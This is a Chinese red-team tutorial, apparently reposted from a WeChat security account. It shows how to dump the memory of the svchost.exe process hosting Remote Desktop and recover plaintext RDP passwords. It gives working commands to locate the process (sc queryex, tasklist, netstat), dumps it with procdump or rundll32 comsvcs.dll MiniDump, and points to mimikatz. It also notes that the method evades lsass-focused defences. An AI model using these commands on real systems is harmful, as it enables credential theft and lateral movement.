从svchost.exe中导出RDP凭据 获取明文密码

admin 2022年1月31日11:27:59评论390 views字数 2174阅读7分14秒阅读模式

前言

在进程内存中对svchost.exe进行字符串搜索,显示了通过RDP连接到系统的明文密码。

  • 现在大多数Windows不启用wdigest,想从内存中找到文本凭据很难 更何况还是明文
  • 这个密码存在于svchost.exe,而并非lsass.exe,因此防止从内存转储密码的防御性工具可能无法检测到
  • 这利用方法应该不止存在于Windows 10, Windows Sever 2016, Windows Server 2012,还有其他未测试
  • 推特作者和测试人员表示其适用于本地和域用户
  • 该方法有点奇怪,密码有时能获取有时不能获取,不知道原因

基础前置

管理员账户已存储

从红队角度看,如果域管理员账户的凭据已存储,则从lsass进程转储凭据可能会导致横向移动或直接导致整个域受损。与RDP协议相关的流程也可以在红队的范围内获取凭据:

  1. svchost.exe
  2. mstsc.exe

上面两个可以作为检索凭据的替代方法,且无需接触lsass。

SVCHOST

svchost.exe是一个属于微软Windows操作系统的系统程序,Svchost.exe是从动态链接库(DLL)中运行的服务的通用主机进程名称。这个程序对系统的正常运行十分重要,且不能被结束。

在基于nt内核的Windows家族中,随着版本不同,存在svchost进程的数量也不同,使用任务管理器就可查看。一般Win2000有两个svchost进程,WinXP有大于等于四个的svchost进程(看到系统有多个这个进程请不要直接判断为病毒),Win2003到Win2016等等,这些svchost进程越来越多。

svchost进程提供很多系统服务,如:rpcss服务(remoteprocedurecall)、dmserver服务(logicaldiskmanager)、dhcp服务(dhcpclient)等。这些svchost.exe都是同一个文件路径下C :WindowsSystem32svchost.exe

windows系统进程分为独立进程和共享进程两种,“svchost.exe”文件存在于“%systemroot%system32”目录下,它属于共享进程。随着windows系统服务不断增多,为了节省系统资源,微软把很多服务做成共享方式,交由svchost.exe进程来启动。但svchost进程只作为服务宿主,并不能实现任何服务功能,即它只能提供条件让其他服务在这里被启动,而它自己却不能给用户提供任何服务。原来这些系统服务是以动态链接库(dll)形式实现的,它们把可执行程序指向svchost,由svchost调用相应服务的动态链接库来启动服务。

参考:

http://blog.sina.com.cn/s/blog_a28e3dd90101652e.html

服务查询到进程转储(本地测试)

当用户通过RDP连接进行身份验证时,终端服务有svchost进程托管。根据 Jonas Lyk的发现,基于 Windows 身份验证机制的工作原理,凭据以纯文本形式存储在 svchost 进程的内存中。但是在进程列表中有多个 svchost 进程,因此可以通过执行以下命令之一来识别哪个进程,hosts 终端服务连接。

本机:192.168.0.100 Windows10 20H2

目标机:192.168.0.102 Windows Server 2016(10.0.14393)

本机远程连接目标机后 在目标机操作 密码为 !@#QWEasd123.

查询终端服务:

sc queryex termservice

从svchost.exe中导出RDP凭据 获取明文密码

查询谁加载了rdpcorets.dll:

tasklist /M:rdpcorets.dll

从svchost.exe中导出RDP凭据 获取明文密码

运行网络统计:(在RDP正在使用时 才可显示)

netstat -nob | Select-String TermService -Context 1

从svchost.exe中导出RDP凭据 获取明文密码

接下来我们可以传储它

  • 使用process hacker2右键单击该过程,然后“创建转储文件”
  • 使用任务管理器。右键单击该过程,然后选择“创建转储文件”
  • 使用Procdump.exe procdump.exe -ma [PROCESS ID] -accepteula [FILE PATH]
  • 使用comsvc.dll       .rundll32.exe C:windowsSystem32comsvcs.dll, MiniDump [PROCESS ID] [FILE PATH] full

由于现在是本地测试 所以直接使用prodump.exe

从svchost.exe中导出RDP凭据 获取明文密码

可以对生成的dmp文件进行分析 我这里失败了(有时会失败有时会成功不是很理解) 就贴一下其他大佬成功的图吧(大佬的密码是Password123)

从svchost.exe中导出RDP凭据 获取明文密码

以上做参考

可直接使用最新版的mimikatz进行明文导出 mimikatz在2.2.0版本添加了这个方法 不过目前的mimikatz 在windows server 2012之前的版本上无法成功利用  等后续更新吧

我用本机 远程连接目标机 在远程桌面上进行以下操作

从svchost.exe中导出RDP凭据 获取明文密码

可见成功导出密码

关注及时推送最新安全威胁资讯!

从svchost.exe中导出RDP凭据 获取明文密码



干货 | CS绕过vultr特征检测修改算法


 | GitLab未授权RCE(CVE-2021-22205)


 | Apache APISIX Dashboard-RCE工具





好文分享收藏赞一下最美点在看哦

原文始发于微信公众号(渗透安全团队):从svchost.exe中导出RDP凭据 获取明文密码

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年1月31日11:27:59
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从svchost.exe中导出RDP凭据 获取明文密码https://cn-sec.com/archives/761127.html

发表评论

匿名网友 填写信息